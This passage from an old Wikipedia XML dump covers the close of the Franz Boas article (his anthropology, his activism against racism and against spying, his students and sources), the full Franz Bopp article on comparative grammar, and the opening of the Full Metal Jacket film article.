* [[cultural relativism]] as a methodological tool while conducting fieldwork, and as heuristic tool while analyzing data.

Boas argued that in order to understand &quot;what is&quot; &amp;mdash; in cultural anthropology, the specific cultural traits (behaviors, beliefs, and symbols) &amp;ndash; one had to examine them in their local context. He also understood that as people migrate from one place to another, and as the cultural context changes over time, the elements of a culture, and their meanings, will change, which led him to emphasize the importance of local histories for an analysis of cultures.

Although other anthropologists at the time, such as [[Bronislaw Malinowski]] and [[Alfred Reginald Radcliffe-Brown]] focused on the study of societies, which they understood to be clearly bounded, Boas's attention to history, which reveals the extent to which traits diffuse from one place to another, led him to view cultural boundaries as multiple and overlapping, and as highly permeable.  Thus, Boas's student [[Robert Lowie]] once described culture as a thing of &quot;shreds and patches.&quot;  Boas and his students understood that as people try to make sense of their world they seek to integrate its disparate elements, with the result that different cultures could be characterized as having different configurations or patterns.  But Boasians also understood that such integration was always in tensions with diffusion, and any appearance of a stable configuration is contingent (see Bashkow 2004: 445).

During Boas's lifetime, as today, many Westerners saw a fundamental difference between modern societies, which are characterized by dynamism and individualism, and traditional societies which are stable and homogeneous.  Boas's empirical field research, however, led him to argue against this comparison.  For example, his 1903 essay, &quot;Decorative Designs of Alaskan Needlecases: A History of Conventional Designs, Based on Materials in a U.S. Museum,&quot; provides another example of how Boas made broad theoretical claims based on a detailed analysis of empirical data.  After establishing formal similarities among the needlecases, Boas shows how certain formal features provide a vocabulary out of which individual artisans could create variations in design.  Thus, his emphasis on culture as a context for meaningful action made him sensitive to individual variation within a society ([[William Henry Holmes]] suggested a similar point in an 1886 paper, &quot;Origin and development of form and ornament in ceramic art,&quot; although unlike Boas he did not develop the ethnographic and theoretical implications).  

In a programmatic essay in 1920, &quot;The Methods of Ethnology,&quot; Boas argued that instead of &quot;the systematic enumeration of standardized beliefs and customs of a tribe,&quot; anthropology needs to document &quot;the way in which the individual reacts to his whole social environment, and to the difference of opinion and of mode of action that occur in primitive society and which are the causes of far-reaching changes.&quot;   Boas argued that attention to individual agency reveals that &quot;the activities of the individual are determined to a great extent by his social environment, but in turn his own activities influence the society in which he lives, and may bring about modifications in form.&quot;  Consequently, Boas thought of culture as fundamentally dynamic: &quot;As soon as these methods are applied, primitive society loses the appearance of absolute stability.... All cultural forms rather appear in a constant state of flux....&quot; (see Lewis 2001b)

Having argued against the relevance of the distinction between literate and non-literate societies as a way of defining anthropology's object of study, Boas argued that non-literate and literate societies should be analyzed in the same way.  Nineteenth century historians had been applying the techniques of [[philology]] to reconstruct the histories of, and relationships between, literate societies.  In order to apply these methods to non-literate societies, Boas argued that the task of fieldworkers is to produce and collect texts in non-literate societies.  This took the form not only of compiling lexicons and grammars of the local language, but of recording myths, folktales, beliefs about social relationships and institutions, and even recipes for local cuisine.  In order to do this, Boas relied heavily on the collaboration of literate native ethnographers (among the Kwakiutl, most often [[George Hunt]]), and he urged his students to consider such people valuable partners, inferior in their standing in Western society, but superior in their understanding of their own culture. (see Bunzl 2004: 438-439)

Using these methods, Boas published another article in 1920, in which he revisited his earlier research on Kwakiutl kinship.  in the late 1890s Boas had tried to reconstruct transformation in the organization of Kkwakiutl clans, by comparing them to the organization of clans in other societies neighboring the Kwakiutl to the north and south.  Now, however, he argued against translating the Kwakiutl principle of kin groups into any English word.  Instead of trying to fit the Kwakiutl into some larger model, he tried to understand their beliefs and practices in their own terms.  For example, whereas he had earlier translated the Kwakiutl word ''numaym'' as &quot;clan,&quot; he now argued that the word is best understood as referring to a bundle of privileges, for which there is no English word.  Men secured claims to these privileges through their parents or wives, and there were a variety of ways these privileges could be acquired, used, and transmitted from one generation to the next.  As in his work on alternating sounds, Boas had come to realize that different ethnological interpretations of Kwakiutl kinship were the result of the limitations of Western categories.  As in his work on Alaskan needlecases, he now saw variation among Kwakiutl practices as the result of the play between social norms and individual creativity.

==Scientist as Activist==

:There are two things to which I am devoted: absolute academic and spiritual freedom, and the subordination of the state to the interests of the individual; expressed in other forms, the furthering of conditions in which the individual can develop to the best of his ability &amp;mdash; as far as it is possible with a full understanding of the fetters imposed upon us by tradition; and the fight against all forms of power policy of states or private organizations.  This means a devotion to principles of true democracy.  I object to teaching of slogans intended to befog the mind, of whatever kind they may be. (letter from Boas to John Dewey, 11/6/39)

Many social scientists in other disciplines often agonize over the legitimacy of their work as &quot;science,&quot; and consequently emphasize the importance of detachment, objectivity, abstraction, and quantifiability in their work.  Perhaps because Boas, like other early anthropologists, was originally trained in the natural sciences, he and his students never expressed such anxiety.  Moreover, he did not believe that detachment, objectivity, and quantifiability were required to make anthropology scientific.  Since the object of study of anthropologists is different from the object of study of physicists, he assumed that anthropologists would have to employ different methods and different criteria for evaluating their research.  Thus, Boas used statistical studies to demonstrate the extent to which variation in data is context-dependent, and argued that the context-dependent nature of human variation rendered many abstractions and generalizations that had been passing as scientific understandings of humankind (especially theories of social evolution popular at the time) in fact unscientific.  His understanding of ethnographic fieldwork began with the fact that the objects of ethnographic study (for example, the Inuit of Baffin Island) were not just objects, but subjects, and his research called attention to their creativity and agency.  More importantly, he viewed the Inuit as his teachers, thus reversing the typical hierarchical relationship between scientist and object of study.  

This emphasis on the relationship between anthropologists and those they study -- the point that, while astronomers and stars; chemists and elements; botanists and plants are fundamentally different, anthropologists and those they study are equally human -- implied that anthropologists themselves could be objects of anthropological study.  Although Boas did not pursue this reversal systematically, his article on alternating sounds illustrates his awareness that scientists should not be confident about their objectivity, because they too see the world through the prism of their culture.  

This emphasis also led Boas to conclude that anthropologists have an obligation to speak out on social issues.  Boas was especially concerned with racial inequality, which he had demonstrated was not biological in origin, but rather social.  An early example of this concern is evident in his 1906 commencement address to Atlanta University, at the invitation of [[W. E. B. DuBois]].  Boas began by remarking that &quot;If you did accept the view that the present weakness of the American Negro, his uncontrollable emotions, his lack of energy, are racially inherent, your work would still be noble one.&quot;  He then went on, however, to argue against this view.  To the claim that European and Asian civilizations are, at the time, more advanced than African societies (a claim still dominant today, see [[Guns, Germs, and Steel]]), Boas objected that against the total history of humankind, the past two thousand years is but a brief span.  Moreover, although the technological advances of our early ancestors (such as taming fire and inventing stone tools) might seem insignificant when compared to the invention of the steam engine or control over electricity, we should consider that they might actually be even greater accomplishments.  Boas then went on to catalogue advances in Africa, such as smelting iron, cultivating millet, and domesticating chickens and cattle, occurred in Africa well before they spread to Europe and Asia.  He then described the activities of African kings, diplomats, merchants, and artists as evidence of cultural achievement.  From this, he concluded, any social inferiority of Negroes in the United States cannot be explained by their African origins: 
:If, therefore, it is claimed that your race is doomed to economic inferiority, you may confidently look to the home of your ancestors and say, that you have set out to recover for the colored people the strength that was their own before they set foot on the shores of this continent.  You may say that you go to work with bright hopes, and that you will not be discouraged by the slowness of your progress; for you have to recover not only what has been lost in transplanting the Negro race from its native soil to this continent, but you must reach higher levels than your ancestors ever had attained.
Boas proceeds to discuss the arguments for the inferiority of the Negro race, and calls attention to the fact that they were brought to the Americas through force.  For Boas, this is just one example of the many times conquest or colonialism has brought different peoples into an unequal relation, and he mentions &quot;the conquest of England by the Normans, the Teutonic invasion of Italy, [and] the Manchoo conquest of China&quot; as resulting in similar conditions.  But the best example, for Boas, of this phenomenon is that of the Jews in Europe:
:Even now there lingers in the consciousness of the old, sharper divisions which the ages had not been able to efface, and which is strong enough to find -- not only here and there -- expression as antipathy to the Jewish type.  In France, that let down the barriers more than a hundred years ago, the feeling of antipathy is still strong enough to sustain an anti-Jewish political party.
Boas's closing advice is that Negroes should not look to Whites for approval or encouragement, because people in power usually take a very long time to learn to sympathize with people out of power.  &quot;Remember that in every single case in history the process of adaptation has been one of exceeding slowness.  Do not look for the impossible, but do not let your path deviate from the quiet and steadfast insistence on full opportunities for your powers.&quot;  

Despite Boas's caveat about the intractability of White prejudice, he also considered it the scientist's responsibility to argue against White myths of racial purity and racial superiority, and to use the evidence of his research to fight racism.

Boas was also critical of one nation imposing its power over others.  In 1916 Boas wrote a letter to ''The New York Times'' which was published under the headline, &quot;Why German-Americans Blame America.&quot;  Although Boas did begin the letter by protesting bitter attacks against German-Americans at the time of the war in Europe, most of his letter was a critique of American nationalism.  &quot;In my youth I had been taught in school and at home not only to love the good of my own country, but also to seek to understand and to respect the individualities of other nations.  For this reason one-sided nationalism, that is so often found nowadays, is to me unendurable.&quot;  He writes of his love for American ideals of freedom, and of his growing discomfort with American beliefs about its own superiority over others.
:I have always been of the opinion that we have no right to impose our ideals upon other nations, no matter how strange it may seem to us that they enjoy the kind of life they lead, how slow they may be in utilizing the resources of their countries, or how much opposed their ideals may be to ours .... Our intolerant attitude is most pronounced in regard to what we like to call &quot;our free institutions.&quot;  Modern democracy was no doubt the most wholesome and needed reaction against the abuses of absolutism and of a selfish, often corrupt, bureaucracy.  That the wishes and thoughts of the people should find expression, and that the form of government should conform to these wishis is an axiom that has pervaded the whole Western world, and that is even taking root in the Far East.  It is a quite different question, however, in how far the particular machinery of democratic government is identical with democratic institutions .... To claim as we often do, that our solution is the only democratic and the ideal one is a one-sided expression of Americanism.  I see no reason why we should not allow the Germans, Austrians, and Russians, or whoever else it may be, to solve their problems in their own ways, instead of demanding that they bestow upon themselves the benefactions of our régime.

Although Boas felt that scientists have a responsibility to speak out on social and political problems, he was appalled that they might involve themselves in disingenuous and deceitful ways.  Thus, in 1919, when he discovered that four anthropologists, in the course of their research in other countries, were serving as spies for the American government, he wrote an angry letter to ''The Nation''.  It is perhaps in this letter that he most clearly expresses his understanding of his commitment to science:
:A soldier whose business is murder as a fine art, a diplomat whose calling is based on deception and secretiveness, a politician whose very life consists in compromises with his conscience, a business man whose aim is personal profit within the limits allowed by a lenient law -- such may be excused if they set patriotic deception above common everyday decency and perform services as spies.  They merely accept the code of morality to which modern society still conforms.  Not so the scientist.  The very essence of his life is the service of truth.  We all know scientists who in private life do not come up to the standard of truthfulness, but who, nevertheless, would not consciously falsify the results of their researches.  It is bad enough if we have to put up with these, because they reveal a lack of strength of character that is liable to distort the results of their work.  A person, however, who uses science as a cover for political spying, who demeans himself to pose before a foreign government as an investigator and asks for assistance in his alleged researches in order to carry on, under this cloak, his political machinations, prostitutes science in an unpardonable way and forfeits the right to be classed as a scientist.

Although Boas did not name the spies in question, he was referring to a ring led by Sylvanus G. Morley, who was affiliated with Harvard University's Peabody Museum. While conducting research in Mexico, Morley and his confederates looked for evidence of German submarine bases, and collected intelligence on Mexican political figures and German immigrants in Mexico.  

Boas's stance against spying took place in the context of his struggle to establish a new model for academic anthropology at Columbia University.  Previously, American anthropology was based at the Smithsonian Institution in Washington and the Peabody Museum at Harvard, and these anthropologists competed with Boas's students for control over the American Anthropological Association (and its flagship publication ''American Anthropologist'').  When the National Academy of Sciences established the National Research Council in 1916 as a means by which scientists could assist the United States government prepare for entry into the war in Europe, competition between the two groups intensified.  Boas's rival, W.H. Holmes, was appointed to head the NRC; Morley was a protegé of Holmes.

When Boas's letter was published, Holmes wrote to a friend complaining about &quot;the Prussian control of anthropology in this country&quot; and the need to end Boas's &quot;Hun regime.&quot;  The Anthropological Society of Washington passed a resolution condemning Boas's letter for unjustly criticizing President Wilson; attacking the principles of American democracy; and endangering anthropologists abroad, who would now be suspected of being spies.  This resolution was passed on to the American Anthropological Association and the National Research Council.  Members of the American Anthropological Association (among whom Boas was a founding member in 1903), meeting at the Peabody Museum, voted by 20 to 10 to censure Boas.  As a result, Boas resigned as the AAA's representative to the NRC, although Boas remained an active member of the AAA.  This censure was rescinded in 2004.

Boas continued to speak out against racism and for intellectual freedom.  When the [[Naziism|Nazi Party]] in Germany denounced &quot;[[Jewish Science (diasmbiguation)|Jewish science]]&quot; (which included not only Boasian Anthropology but Freudian psychoanalysis and Einsteinian physics), Boas responded with a public statement signed by over 8,000 other scientists, declaring that there is only one science, to which race and religion are irrelevant.  (In his 1998 book ''[[Culture Of Critique|The Culture Of Critique]]'', [[Kevin B. MacDonald]] resurrected the notion of a &quot;[[Jewish Science|Jewish science]]&quot; to critique Boas's work; this book has been criticized for shoddy scholarship and [[anti-Semitism]]).

==Influence and students==

Between 1901 and 1911, [[Columbia University]] produced only 7 PhD.s in anthropology.  Although by today's standards this is a very small number, at the time it was sufficient to establish Boas's Anthropology Department at Columbia as the preeminant anthropology program in the country.  Moreover, many of Boas's students went on to establish anthropology programs at other major universities.

Boas's first doctoral student was [[Alfred L. Kroeber]] (1901), who, along with fellow Boas student [[Robert Lowie]] (1908), started the anthropology program at the [[University of California at Berkeley]].  He also trained William Jones (1904), one of the first Native American Indian anthropologists ([[Fox (Native American)|the Fox nation]]) who was killed while conducting research in the Philippines in 1909, and Albert B. Lewis (1907).  Boas also trained a number of other students who were influential in the development of academic anthropology: [[Frank Speck]] (1908) who trained with Boas but received his PhD. from the [[University of Pennsylvania]] and immediately proceeded to found the anthropology department there; [[Edward Sapir]] (1909) and [[Fay-Cooper Cole]] (1914) who developed the anthropology program at the [[University of Chicago]]; [[Alexander Goldenweiser]] (1910), who, with [[Elsie Clews Parsons]] (who received her doctorate in sociology from Columbia in 1899, but then studied ethnology with Boas), started the anthropology program at the [[New School for Social Research]]; [[Leslie Spier]] (1920) who started the anthropology program at the University of Washington, and [[Melville Herskovits]] (1923) who started the anthropology program at [[Northwestern University]].  He also trained [[John Reed Swanton]] (who studied with Boas at Columbia for two years before receiving his doctorate from Harvard in 1900), [[Paul Radin]] (1911), [[Ruth Benedict]] (1923), [[Gladys Reichard]] (1925) who had begun teaching at [[Barnard College]] in 1921 and was later promoted to the rank of professor, [[Ruth Bunzel]] (1929), [[Alexander Lesser]] (1929), [[Margaret Mead]] (1929), and [[Gene Weltfish]] (who defended her dissertation in 1929, although she did not officially graduate until 1950 when Columbia reduced the expenses required to graduate).  

His students at Columbia also included [[Mexico|Mexican]] anthropologist [[Manuel Gamio]], who earned his MA after studying with Boas from 1909-1911, and became the founding director of Mexico's Bureau of Anthropology in 1917; [[Esther Goldfrank]], who travelled with Boas to New Mexico in 1919 to conduct research among the Pueblo Indians; [[Gilberto Freyre]], who shaped the concept of &quot;racial democracy&quot; in Brazil; and anthropologist, folklorist and novelist [[Zora Neale Hurston]], who graduated from [[Barnard College]], the women's college associated with Columbia, in [[1928]]. 

He was also an influence on [[Claude Lévi-Strauss]], whom he met during the latter's stay in New York in the 1940s.  

Several of Boas's students went on to serve as editors of the American Anthropological Association's flagship journal, ''American Anthropologist'': John R. Swanton (1911, 1921-1923), Robert Lowie (1924-1933), Leslie Spier (1934-1938), and Melville Herskovits (1950-1952).  Edward Sapir's student John Alden Mason was editor from 1945-1949, and Alfred Kroeber and Robert Lowie's student, [[Walter Goldschmidt]], was editor from 1956-1959.

Most of Boas's students shared his concern for careful, historical reconstruction, and his antipathy towards speculative, evolutionary models.  Moreover, Boas encouraged his students, by example, to criticize themselves as much as others.  For example, Boas originally defended the [[cephalic index]] (systematic variations in head form) as a method for describing hereditary traits, but came to reject his earlier research after further study; he similarly came to criticize his own early work in Kwakiutl (Pacific Northwest) language and mythology.  

Encouraged by this drive to self-criticism, as well as the Boasian commitment to learn from one's informants and to let the findings of one's research shape one's agenda, Boas's students quickly diverged from his own research agenda.  Several of his students soon attempted to develop theories of the grand sort that Boas typically rejected.  Kroeber called his colleagues' attention to [[Sigmund Freud]] and the potential of a union between cultural anthropology and [[psychoanalysis]].  [[Ruth Benedict]] developed theories of &quot;culture and personality&quot; and &quot;national cultures&quot;, and Kroeber's student, [[Julian Steward]] developed theories of &quot;cultural ecology&quot; and &quot;multilineal evolution.&quot;

Nevertheless, Boas has had an enduring influence on anthropology.  Virtually all anthropologists today accept Boas's commitment to empiricism and his methodological cultural relativism.  Moreover, virtually all cultural anthropologists today share Boas's commitment to field research involving extended residence, learning the local language, and developing social relationships with informants.  Finally, anthropologists continue to honor his critique of racial ideologies.  In his 1963 book, ''Race: The History of an Idea in America,'' Thomas Gossett wrote that &quot;It is possible that Boas did more to combat race prejudice than any other person in history.&quot;

==Sources/Further Reading==
===Writings by Boas===
*Boas n.d. &quot;The relation of Darwin to anthropology,&quot; notes for a lecture; Boas papers (B/B61.5) American Philosophical Society, Philadelphia. Published on line with Herbert Lewis 2001b.
*Boas, Franz 1911 ''The Mind of Primitive Man'' ISBN  0313240043 
*Boas, Franz 1940 ''Race, Language, and Culture'' ISBN 0-226-06241-4
*Stocking, George W., Jr., ed. 1974 ''A Franz Boas Reader: The Shaping of American Anthropology, 1883-1911'' ISBN 0-226-06243-0
*Boas, Franz 1928 &quot;Anthropology and Modern Life&quot; (2004 ed.) ISBN 0-7658-0535-9

===Writings on Boas and Boasian Anthropology===
*Bashkow, Ira 2004 &quot;A Neo-Boasian Conception of Cultural Boundaries&quot; in ''American Anthropologist'' 106(3): 443-458
*Bunzl, Matti 2004 &quot;Boas, Foucault, and the 'Native Anthropologist,'&quot; in ''American Anthropologist'' 106(3): 435-442
*Cole, Douglas 1999 ''Franz Boas: The Early Years, 1858-1906'' ISBN 1-55054-746-1
*Darnell, Regna 1998. “And Along Came Boas:  Continuity and Revolution in Americanist Anthropology.”  ISBN 1556196237  
*Kuper, Adam  1988 ''The Invention of Primitive Society: Transformations of an Illusion'' ISBN 0-415-00903-0
*Kroeber, Alfred 1949 &quot;An Authoritarian Panacea&quot; in ''American Anthropologist'' 51(2) 318-320
*Lesser, Alexander 1981 &quot;Franz Boas&quot; in Sydel Silverman, ed. ''Totems and Teachers: Perspectives on the History of Anthropology'' ISBN 0-231-05087-9
*Lewis, Herbert 2001a &quot;The Passion of Franz Boas&quot; in ''American Anthropologist'' 103(2): 447-467
*Lewis, Herbert 2001b &quot;Boas, Darwin, Science and Anthropology&quot; in ''Current Anthropology'' 42(3): 381-406  (On line version contains transcription of Boas's 1909 lecture on Darwin.)
*Stocking, George W., Jr. 1968 &quot;Race, Culture, and Evolution: Essays in the History of Anthropology&quot; ISBN 0-226-77494-5
*Stocking, George W., Jr., ed. 1996 ''Volksgeist as Method and Ethic: Essays on Boasian Ethnography and the German Anthropological Tradition'' ISBN 0-299-14554-9

===Boas, Anthropology, and Jewish Identity===
*Glick, Leonard B. 1982 &quot;Types Distinct from Our Own: Franz Boas on Jewish Identity and Assimilation&quot; in ''American Anthropologist'' 84(3) pp. 545-565.

*Frank, Gelya 1997 &quot;Jews, Multiculturalism, and Boasian Anthropology&quot; in ''American Anthropologist'' 99(4), pp. 731-745.

* Mitchell Hart 2003 &quot;Franz Boas as German, American, Jew.&quot; In German-Jewish Identities in America, eds. C. Mauch and J. Salomon (Madison: Max Kade Institute), pp. 88-105.

*Kevin MacDonald 1998 ''The Culture of Critique: An Evolutionary Analysis of Jewish Involvement in Twentieth-Century Intellectual and Political Movements'' -- chapter 2 provides a critique of Boas, by resurrecting the Nazi notion of &quot;[[Jewish Science|Jewish science]]&quot;.

==External links==

*[http://www.pnas.org/cgi/content/abstract/222389599v1?ijkey=f3uGSmr3wB0r A reassessment of human cranial plasticity: Boas revisited] -- Summary of critical paper by Corey S. Sparks and Richard L. Jantz.
*[http://lance.qualquant.net/gravleeetal03a.pdf Heredity, Environment, and Cranial Form] -- article confirming Boas's research, by Clarence C. Gravlee, H. Russell Bernard, and William R. Leonard 
*[http://www.duke.edu/~ldbaker/documents/baker20.pdf Franz Boas Out of the Ivory Tower] -- essay on the relationship between the academy and politics, drawing on the example of Boas
*[http://www.culturecult.com The Culture Cult]: a web site about romantic primitivism

[[Category:1858 births|Boas, Franz]]
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[[Category:Jewish scientists|Boas, Franz]]
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[[he:פרנץ בועז]]
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[[zh:法蘭茲·鮑亞士]]</text>
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  <page>
    <title>Franz Bopp</title>
    <id>11699</id>
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      <id>39147863</id>
      <timestamp>2006-02-11T00:44:06Z</timestamp>
      <contributor>
        <ip>83.165.139.109</ip>
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      <text xml:space="preserve">[[Image:Franz_Bopp.jpg|right|thump|140px|Franz Bopp]]
'''Franz Bopp''' ([[September 14]], [[1791]] - [[October 23]], [[1867]]) was a [[Germany|German]] [[linguistics|linguist]] known for extensive comparative work on [[Indo-European language]]s.

He was born at [[Mainz]], but in consequence of the political troubles of that time, his parents removed to [[Aschaffenburg]], in [[Bavaria]], where he received a liberal education at the Lyceum. Here the eloquent lectures of [[Karl Joseph Hieronymus Windischmann |Karl J Windischmann]] drew his attention was drawn to the languages and literature of the East. (Windischmann, along with [[Georg Friedrich Creuzer|GF Creuzer]], [[Johann Joseph von Görres|JJ Görres]], and the brothers Schlegel, expressed great enthusiasm for Indian wisdom and philosophy.) And further, [[Karl Wilhelm Friedrich von Schlegel | Friedrich Schlegel]]'s book, ''Über die Sprache und Weisheit der Indier'' (''On the Speech and Wisdom of the Indians'', Heidelberg, 1808), which had just begun to exert a powerful influence on the minds of German philosophers and historians, could not fail to stimulate also Bopp's interest in the sacred language of the [[Hindu]]s.

In [[1812]] he went to [[Paris]] at the expense of the Bavarian government, with a view to devoting himself vigorously to the study of [[Sanskrit]]. There he enjoyed the society of such eminent men as [[Antoine Leonard de Chézy|AL Chézy]], [[Silvestre de Sacy|S de Sacy]], [[Louis Mathieu Langlès|LM Langlès]], and, above all, of [[Alexander Hamilton]] (1762 - 1824), who had acquired, when in [[India]], an acquaintance with Sanskrit, and had brought out, conjointly with Langlès, a descriptive catalogue of the Sanskrit manuscripts of the Imperial library. At that library Bopp had access not only to the rich collection of Sanskrit manuscripts (most of which Father Pons had brought from India early in the [[18th century]]) but also to the Sanskrit books which had up to that time issued from the [[Calcutta]] and [[Serampore]] presses.

The first fruit of his four years' study in Paris appeared at [[Frankfurt|Frankfurt am Main]] in [[1816]], under the title ''Über das Conjugationssystem der Sanskritsprache in Vergleichung mit jenem der griechischen, lateinischen, persischen und germanischen Sprachen'' (''On the Conjugation System of Sanskrit in comparison with that of Greek, Latin, Persian and Germanic'') (Windischmann contributed a preface). In this first book Bopp entered at once on the path on which he would focus the philological researches of his whole subsequent life. He did not need to prove the common parentage of Sanskrit with [[Persian language|Persian]], [[Greek language|Greek]], [[Latin]] and [[German language|German]], for previous scholars had long established that; but he aimed  to trace the common origin of those languages' [[grammar | grammatical]] forms, of their [[inflection]]s from composition -- a task which no predecessor had attempted. By a historical analysis of those forms, as applied to the verb, he furnished the first trustworthy materials for a history of the languages compared.

After a brief sojourn in Germany, Bopp travelled to London, where he made the acquaintance of [[Sir Charles Wilkins]] and [[Henry Thomas Colebrooke|HT Colebrooke]], and became the friend of [[Wilhelm von Humboldt]], then [[Prussia]]n ambassador at the court of St James, to whom he gave instruction in Sanskrit. He brought out, in the ''Annals of Oriental Literature'' (London, 1820), an essay entitled, &quot;Analytical Comparison of the Sanskrit, Greek, Latin and Teutonic Languages&quot;, in which he extended to all parts of the grammar what he had done in his first book for the verb alone. He had previously published a critical edition, with a Latin translation and notes, of the story of Nala and Damayanti (London, 1819), the most beautiful episode of the ''[[Mahabharata]]''. Other episodes of the ''Mahabharata'' -- Indralokâgama, and three others (Berlin, 1824); ''Diluvium'', and three others (Berlin, 1829); and a new edition of Nala (Berlin, 1832) -- followed in due course, all of which, with [[August Wilhelm von Schlegel|AW Schlegel]]'s edition of the ''[[Bhagavad Gita]]'' (1823), proved excellent aids in initiating the early student into the reading of Sanskrit texts. On the publication, in Calcutta, of the whole ''Mahabharata'', Bopp discontinued editing Sanskrit texts and confined himself thenceforth exclusively to grammatical investigations.

After a short residence at [[University of Göttingen|Göttingen]], Bopp gained, on the recommendation of Humboldt, appointment to the chair of Sanskrit and comparative [[grammar]] at [[Humboldt University of Berlin|Berlin]] in 1821, and election as a member of the [[Royal Prussian Academy]] in the following year. He brought out in 1827 his ''Ausführliches Lehrgebäude der Sanskritsprache'', on which he had worked since 1821. Bopp started work on a new edition, in Latin, in the following year, and completed it in 1832; and a shorter grammar appeared in 1834. At the same time he compiled a ''Sanskrit and Latin glossary'' (1830) in which, more especially in the second and third editions (1847 and 1867), he also took account of the cognate languages. His chief activity, however, centred on the elaboration of his ''Comparative Grammar'', which appeared in six parts at considerable intervals (Berlin, 1833, 1835, 1842, 1847, 1849, 1852), under the title ''Vergleichende Grammatik des Sanskrit, Zend, Griechischen, Lateinischen, Litauischen, Gotischen und Deutschen'' (''Comparative Grammar of Sanskrit, Zend, Greek, Latin, Lithuanian, Gothic and German''.

How carefully Bopp matured this work emerges from the series of monographs printed in the ''Transactions of the Berlin Academy'' (1824 to 1831), which preceded it. They bear the general title, ''Vergleichende Zergliederung des Sanskrits und der mit ihm verwandten Sprachen'' (''Comparative Analysis of Sanskrit and its related Languages''). Two other essays (on the &quot;Numerals&quot;, 1835) followed the publication of the first part of the ''Comparative Grammar''. [[Old Slavonic | Old Slavonian]] began to take its stand among the languages compared from the second part onwards. [[Edward Backhouse Eastwick|EB Eastwick]] translated the work into English in 1845. A second German edition, thoroughly revised (1856 - 1861), also covered Old [[Armenian language | Armenian]]. From this edition [[Michel Jules Alfred Bréal|Professor Michel Bréal]] made an excellent French translation in [[1866]].

In his ''Comparative Grammar'' Bopp set himself a threefold task:
# to give a description of the original grammatical structure of the languages as deduced from their intercomparison
# to trace their [[phonetic]] laws, and 
# to investigate the origin of their grammatical forms. 

The first and second points remained subservient to the third. As Bopp based his research on the best available sources, and incorporated every new item of information that came to light, so it continued to widen and deepen as it progressed. Witness his monographs on the vowel system in the [[Teutonic languages]] (1836), on the [[Celtic language]]s (1839), on the [[Old Prussian language | Old Prussian]] (1853) and [[Albanian language]]s (1854), on the [[stress (phonology) | accent]] in Sanskrit and Greek (1854), on the relationship of the [[Malayo-Polynesian languages | Malayo-Polynesian]] with the Indo-European languages (1840), and on the [[Caucasian language]]s (1846). In the two last-mentioned the impetus of his genius led him on a wrong track.

Critics have charged Bopp with neglecting the study of the native Sanskrit grammars, but in those early days of Sanskrit studies the great libraries of Europe did not hold the requisite materials; and if they had, those materials would have absorbed his exclusive attention for years, while such grammars as those of Wilkins and Colebrooke, from which Bopp derived his grammatical knowledge, had all used native grammars as a basis. The further charge that Bopp, in his ''Comparative Grammar'', gave undue prominence to Sanskrit stands disproved by his own words; for, as early as the year 1820, he gave it as his opinion that frequently the cognate languages serve to elucidate grammatical forms lost in Sanskrit (''Annals of Or. Lit.'' i. 3), -- an opinion which he further developed in all his subsequent writings.

Bopp's researches, carried with wonderful penetration into the most minute and almost microscopical details of linguistic phenomena, led to the opening up of a wide and distant view into the original seats, the closer or more distant affinity, and the tenets, practices and domestic usages of the ancient Indo-European-speaking nations, and one can date the science of [[comparative grammar]] from his earliest publication. In grateful recognition of that fact, there originated in Berlin on the fiftieth anniversary ([[May 16]], [[1866]]) of the date of Windischmann's preface to that work, a fund called ''Die Bopp-Stiftung'', for the promotion of the study of Sanskrit and comparative grammar, to which his numerous pupils and admirers in all parts of the globe gave liberal contributions. Bopp lived to see the results of his labours everywhere accepted, and his name justly celebrated. But he died a poor man, -- though his genuine kindliness and unselfishness, his devotion to his family and friends, and his rare modesty, endeared him to all who knew him.

See [[Michel Jules Alfred Bréal| M Bréal]]'s translation of Bopp's ''Vergleichende Grammatik'' (1866) introduction; [[Theodor Benfey|Th. Benfey]], ''Geschichte der Sprachwissenschaft'' (1869); A Kuhn in ''Unsere Zeit,'' Neue Folge, iv. I (1868); Lefmann, ''Franz Bopp'' (Berlin, 1891-1897).

[[Category:1791 births|Bopp, Franz]]
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  <page>
    <title>Full Metal Jacket</title>
    <id>11701</id>
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        <username>Milo99</username>
        <id>309674</id>
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      <minor />
      <text xml:space="preserve">:''For the type of ammunition, see [[Full metal jacket bullet]].''
{{Infobox Film |
  name     = Full Metal Jacket |
  image          = Full Metal Jacket- 1987.jpg |
  director       = [[Stanley Kubrick]] |
  producer       = [[Stanley Kubrick]] |
  writer         = [[Stanley Kubrick]] &lt;BR \&gt; [[Michael Herr]] &lt;BR \&gt; [[Gustav Hasford]] &lt;BR \&gt;(for the novel &lt;br \&gt;''[[The Short-Timers]]'') |
  starring       = [[Matthew Modine]] &lt;BR&gt; [[Adam Baldwin]] &lt;BR&gt; [[Vincent D'Onofrio]] &lt;BR&gt; [[R. Lee Ermey|Lee Ermey]]&lt;br&gt;[[Dorian Harewood]]&lt;br&gt;[[Arliss Howard]]&lt;br&gt;[[Kevyn Major Howard]]&lt;br&gt;[[Ed O'Ross]] |
  music =     [[Vivian Kubrick]]|
  distributor    = [[Warner Bros.]] |
  released   = [[26 June]], [[1987]] (premiere) |
  runtime        = 116 min. |
  language = English |
  budget         = $17,000,000 |
  tagline: &quot;In Vietnam the wind doesn't blow, it sucks&quot;
  imdb_id        = 0093058 |
|}}
'''''Full Metal Jacket''''' ([[1987]]) is a [[film]] produced and directed by [[Stanley Kubrick]], based on the novel ''[[The Short-Timers]]'' by [[Gustav Hasford]]. The film is named after the full metal jacketed bullets used in military ammunition.

The film portrays the [[Vietnam War]] from the point of view of the [[United States Marine Corps|US Marines]]. Recurring themes are the contradictions of war, a constant feeling of being out of one's depth, and the idea of combat in [[Vietnam]] being part of a different world, with its own rules and customs. The miasma of confusion and [[angst]] of the new world begins in boot camp, and spirals down into bloodshed before even landing in Vietnam.

In the aftermath of this film a series of policy changes came about in what was considered acceptable behavior by a [[Drill Instructor]] in the [[United States Marine Corps]]. All references to a recruit's family are absolutely forbidden, as is striking a recruit.

The movie is often said to have been shot on the [[Isle of Dogs]], in east [[London]], but in fact the ravaged city scenes were shot in a disused gas works in [[Beckton]], further east. The open country is [[Cliffe-at-Hoo|Cliffe]] marshes, also on the [[River Thames|Thames]], with palm trees imported from Spain.  While this was reasonable for the urban nature of the [[Tet Offensive]], it was also influenced by Kubrick's aversion to air travel. 

{{spoiler}}

==Synopsis==
The protagonist of the film is Marine recruit J.T. 'Joker' Davis ([[Matthew Modine]]), who is part of a group beginning [[recruit training|basic training]] as a [[United States Marine Corps|Marine]] on [[Parris Island]], [[South Carolina|SC]].
